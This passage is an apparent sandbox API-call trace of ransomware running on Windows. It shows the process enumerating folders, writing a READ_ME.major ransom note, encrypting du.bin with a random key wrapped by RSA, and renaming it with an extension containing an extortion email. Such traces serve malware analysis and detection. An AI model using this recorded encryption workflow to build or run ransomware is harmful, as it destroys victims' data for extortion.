dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0223.818] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e550 | out: hHeap=0x570000) returned 1 [0223.818] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0223.818] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b348 [0223.818] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0223.818] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x658c58 [0223.818] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b348 | out: hHeap=0x570000) returned 1 [0223.818] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60dd38 [0223.818] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658c58 | out: hHeap=0x570000) returned 1 [0223.818] GetLastError () returned 0x0 [0223.818] SetLastError (dwErrCode=0x0) [0223.818] GetLastError () returned 0x0 [0223.818] SetLastError (dwErrCode=0x0) [0223.818] GetLastError () returned 0x0 [0223.818] SetLastError (dwErrCode=0x0) [0223.818] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0223.818] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be7e8 [0223.819] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be7e8 | out: hHeap=0x570000) returned 1 [0223.819] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656fd8 [0223.819] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f32ba0 [0223.819] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f32ba0 | out: hHeap=0x570000) returned 1 [0223.819] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40390 [0223.819] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40390 | out: hHeap=0x570000) returned 1 [0223.819] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656fd8 | out: hHeap=0x570000) returned 1 [0223.819] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0223.819] FindNextFileW (in: hFindFile=0x2f32a20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1e2a2f0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdd597b03, ftLastAccessTime.dwHighDateTime=0x1d327e6, ftLastWriteTime.dwLowDateTime=0xdd597b03, ftLastWriteTime.dwHighDateTime=0x1d327e6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Creatives", cAlternateFileName="CREATI~1")) returned 1 [0223.819] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60dd38 | out: hHeap=0x570000) returned 1 [0223.819] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0223.819] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8af90 [0223.819] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0223.819] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x658f78 [0223.819] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8af90 | out: hHeap=0x570000) returned 1 [0223.819] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e550 [0223.819] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658f78 | out: hHeap=0x570000) returned 1 [0223.819] GetLastError () returned 0x0 [0223.819] SetLastError (dwErrCode=0x0) [0223.819] GetLastError () returned 0x0 [0223.819] SetLastError (dwErrCode=0x0) [0223.819] GetLastError () returned 0x0 [0223.819] SetLastError (dwErrCode=0x0) [0223.820] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656e70 [0223.820] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656ee8 [0223.820] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656e70 | out: hHeap=0x570000) returned 1 [0223.820] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656ee8 | out: hHeap=0x570000) returned 1 [0223.820] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x110) returned 0x66ab30 [0223.820] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656fb0 [0223.820] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x110) returned 0x66a6d0 [0223.820] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0223.820] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0223.820] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x658c58 [0223.820] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8a9b8 | out: hHeap=0x570000) returned 1 [0223.820] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e678 [0223.820] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658c58 | out: hHeap=0x570000) returned 1 [0223.820] GetLastError () returned 0x0 [0223.820] SetLastError (dwErrCode=0x0) [0223.820] GetLastError () returned 0x0 [0223.820] SetLastError (dwErrCode=0x0) [0223.820] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1b0) returned 0x5c1e10 [0223.821] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e678 | out: hHeap=0x570000) returned 1 [0223.821] GetLastError () returned 0x0 [0223.821] SetLastError (dwErrCode=0x0) [0223.821] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x130) returned 0x5bd3b8 [0223.821] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1844 [0223.823] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bd3b8 | out: hHeap=0x570000) returned 1 [0223.823] WriteFile (in: hFile=0x1844, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0223.824] CloseHandle (hObject=0x1844) returned 1 [0223.824] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1e10 | out: hHeap=0x570000) returned 1 [0223.824] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d4b0 | out: hHeap=0x570000) returned 1 [0223.824] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0223.824] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66a6d0 | out: hHeap=0x570000) returned 1 [0223.825] FindNextFileW (in: hFindFile=0x2f32a20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x369b7ea7, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x369b7ea7, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x369b7ea7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0223.825] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e550 | out: hHeap=0x570000) returned 1 [0223.825] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0223.825] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ae80 [0223.825] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0223.825] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x658c58 [0223.825] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ae80 | out: hHeap=0x570000) returned 1 [0223.825] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60dd38 [0223.825] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658c58 | out: hHeap=0x570000) returned 1 [0223.825] GetLastError () returned 0x0 [0223.825] SetLastError (dwErrCode=0x0) [0223.825] GetLastError () returned 0x0 [0223.825] SetLastError (dwErrCode=0x0) [0223.825] GetLastError () returned 0x0 [0223.825] SetLastError (dwErrCode=0x0) [0223.825] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656e70 [0223.826] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656e70 | out: hHeap=0x570000) returned 1 [0223.826] FindNextFileW (in: hFindFile=0x2f32a20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x369b7ea7, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x369b7ea7, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x369b7ea7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0223.826] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x659100 [0223.826] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x660750 | out: hHeap=0x570000) returned 1 [0223.826] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6627b8 | out: hHeap=0x570000) returned 1 [0223.826] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee67d0 | out: hHeap=0x570000) returned 1 [0223.826] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Features\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf06a22a2, ftCreationTime.dwHighDateTime=0x1d327e6, ftLastAccessTime.dwLowDateTime=0xf073ad70, ftLastAccessTime.dwHighDateTime=0x1d327e6, ftLastWriteTime.dwLowDateTime=0x369b7ea7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f32d20 [0223.827] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60dd38 | out: hHeap=0x570000) returned 1 [0223.827] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0223.827] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ae80 [0223.827] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0223.827] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x658f78 [0223.827] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ae80 | out: hHeap=0x570000) returned 1 [0223.827] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e1d8 [0223.827] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658f78 | out: hHeap=0x570000) returned 1 [0223.827] GetLastError () returned 0x12 [0223.827] SetLastError (dwErrCode=0x12) [0223.827] GetLastError () returned 0x12 [0223.827] SetLastError (dwErrCode=0x12) [0223.827] GetLastError () returned 0x12 [0223.827] SetLastError (dwErrCode=0x12) [0223.827] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0223.827] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be4d0 [0223.827] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be4d0 | out: hHeap=0x570000) returned 1 [0223.827] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656e70 [0223.827] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f33020 [0223.827] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f33020 | out: hHeap=0x570000) returned 1 [0223.828] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e403c0 [0223.828] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e403c0 | out: hHeap=0x570000) returned 1 [0223.828] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656e70 | out: hHeap=0x570000) returned 1 [0223.828] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0223.828] FindNextFileW (in: hFindFile=0x2f32d20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf06a22a2, ftCreationTime.dwHighDateTime=0x1d327e6, ftLastAccessTime.dwLowDateTime=0xf073ad70, ftLastAccessTime.dwHighDateTime=0x1d327e6, ftLastWriteTime.dwLowDateTime=0x369b7ea7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0223.828] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e1d8 | out: hHeap=0x570000) returned 1 [0223.828] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0223.828] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8af90 [0223.828] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0223.828] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x658f78 [0223.828] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8af90 | out: hHeap=0x570000) returned 1 [0223.828] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60d898 [0223.828] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658f78 | out: hHeap=0x570000) returned 1 [0223.828] GetLastError () returned 0x12 [0223.828] SetLastError (dwErrCode=0x12) [0223.828] GetLastError () returned 0x12 [0223.828] SetLastError (dwErrCode=0x12) [0223.828] GetLastError () returned 0x12 [0223.828] SetLastError (dwErrCode=0x12) [0223.828] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0223.828] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be790 [0223.828] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be790 | out: hHeap=0x570000) returned 1 [0223.828] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656fd8 [0223.829] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f32960 [0223.829] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f32960 | out: hHeap=0x570000) returned 1 [0223.829] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40570 [0223.829] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40570 | out: hHeap=0x570000) returned 1 [0223.829] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656fd8 | out: hHeap=0x570000) returned 1 [0223.829] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0223.829] FindNextFileW (in: hFindFile=0x2f32d20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf073ad70, ftCreationTime.dwHighDateTime=0x1d327e6, ftLastAccessTime.dwLowDateTime=0xf073ad70, ftLastAccessTime.dwHighDateTime=0x1d327e6, ftLastWriteTime.dwLowDateTime=0xf07870ca, ftLastWriteTime.dwHighDateTime=0x1d327e6, nFileSizeHigh=0x0, nFileSizeLow=0x286, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="du.bin", cAlternateFileName="")) returned 1 [0223.829] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d898 | out: hHeap=0x570000) returned 1 [0223.829] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a44f0 [0223.829] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8af90 [0223.829] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0223.829] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x658f78 [0223.829] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8af90 | out: hHeap=0x570000) returned 1 [0223.829] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e0b0 [0223.829] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658f78 | out: hHeap=0x570000) returned 1 [0223.829] GetLastError () returned 0x12 [0223.829] SetLastError (dwErrCode=0x12) [0223.829] GetLastError () returned 0x12 [0223.829] SetLastError (dwErrCode=0x12) [0223.829] GetLastError () returned 0x12 [0223.829] SetLastError (dwErrCode=0x12) [0223.829] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x6596d0 [0223.829] FindNextFileW (in: hFindFile=0x2f32d20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x369b7ea7, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x369b7ea7, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x369b7ea7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0223.830] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e0b0 | out: hHeap=0x570000) returned 1 [0223.830] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4808 [0223.830] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b5f0 [0223.830] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4808 | out: hHeap=0x570000) returned 1 [0223.830] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x658f78 [0223.830] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b5f0 | out: hHeap=0x570000) returned 1 [0223.830] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e1d8 [0223.830] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658f78 | out: hHeap=0x570000) returned 1 [0223.830] GetLastError () returned 0x12 [0223.830] SetLastError (dwErrCode=0x12) [0223.830] GetLastError () returned 0x12 [0223.830] SetLastError (dwErrCode=0x12) [0223.830] GetLastError () returned 0x12 [0223.830] SetLastError (dwErrCode=0x12) [0223.830] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656e70 [0223.830] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656e70 | out: hHeap=0x570000) returned 1 [0223.830] FindNextFileW (in: hFindFile=0x2f32d20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x369b7ea7, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x369b7ea7, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x369b7ea7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0223.830] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x6597c8 [0223.831] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656fd8 [0223.831] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0223.831] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Features\\du.bin", dwFileAttributes=0x80) returned 1 [0223.832] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x6599b8 [0223.832] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x166) returned 0x5b3b90 [0223.832] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6599b8 | out: hHeap=0x570000) returned 1 [0223.832] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Features\\du.bin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\features\\du.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1848 [0223.833] GetFileSizeEx (in: hFile=0x1848, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=646) returned 1 [0223.833] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x286) returned 0x5aa568 [0223.833] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x286) returned 0x5b4d88 [0223.833] ReadFile (in: hFile=0x1848, lpBuffer=0x5aa568, nNumberOfBytesToRead=0x286, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5aa568*, lpNumberOfBytesRead=0x2e3f9b4*=0x286, lpOverlapped=0x0) returned 1 [0223.834] SetFilePointer (in: hFile=0x1848, lDistanceToMove=-646, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0223.834] WriteFile (in: hFile=0x1848, lpBuffer=0x5b4d88*, nNumberOfBytesToWrite=0x286, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b4d88*, lpNumberOfBytesWritten=0x2e3f9b4*=0x286, lpOverlapped=0x0) returned 1 [0223.834] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5aa568 | out: hHeap=0x570000) returned 1 [0223.834] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4d88 | out: hHeap=0x570000) returned 1 [0223.834] SetFilePointer (in: hFile=0x1848, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x286 [0223.834] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0223.834] WriteFile (in: hFile=0x1848, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0223.834] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0223.834] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0223.835] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0223.835] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0223.835] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="pm0Ibd7DylAcGPAIT5dssNLEINIu+jnbJoxHPeXML+ChoWh7ABp7CM3UMKF1bDFK\nQN96rYFbT4DHbS4j4R/RWVyc3fgxkepdFDOZzhqLlcieeE7ifYxQM54/H8XD279h\nTru/3s+b473kQzX1p8+SjAK01AVASXIiFV9UCPWmlPsYtfJGOdR+z+KZe7jEomej\nznupN34N2yUjJdISHBwE7gvnpojqYNfRg9Bvfz4t8DvukdGKdgiTRgH8Gq7QVOMP\nEktjFAYS0gCSvLHYtxD2/tUvHhL4qF+0vlC8BbU/BSi1v6LgVLHsezeRjHcF0y5Q\n9bFUe1nOPpqR7jeuCxgIQQ==\n", pcchString=0x2e3f9a8) returned 1 [0223.835] WriteFile (in: hFile=0x1848, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0223.836] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0223.836] WriteFile (in: hFile=0x1848, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0223.836] CloseHandle (hObject=0x1848) returned 1 [0223.836] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0223.836] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Features\\du.bin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\features\\du.bin"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Features\\du.bin.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\features\\du.bin.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0223.839] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b3b90 | out: hHeap=0x570000) returned 1 [0223.839] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656fd8 | out: hHeap=0x570000) returned 1 [0223.839] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6597c8 | out: hHeap=0x570000) returned 1 [0223.839] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6596d0 | out: hHeap=0x570000) returned 1 [0223.839] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x6591f8 [0223.839] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x659100 | out: hHeap=0x570000) returned 1 [0223.839] HeapFree (in: hHeap=0x570000, 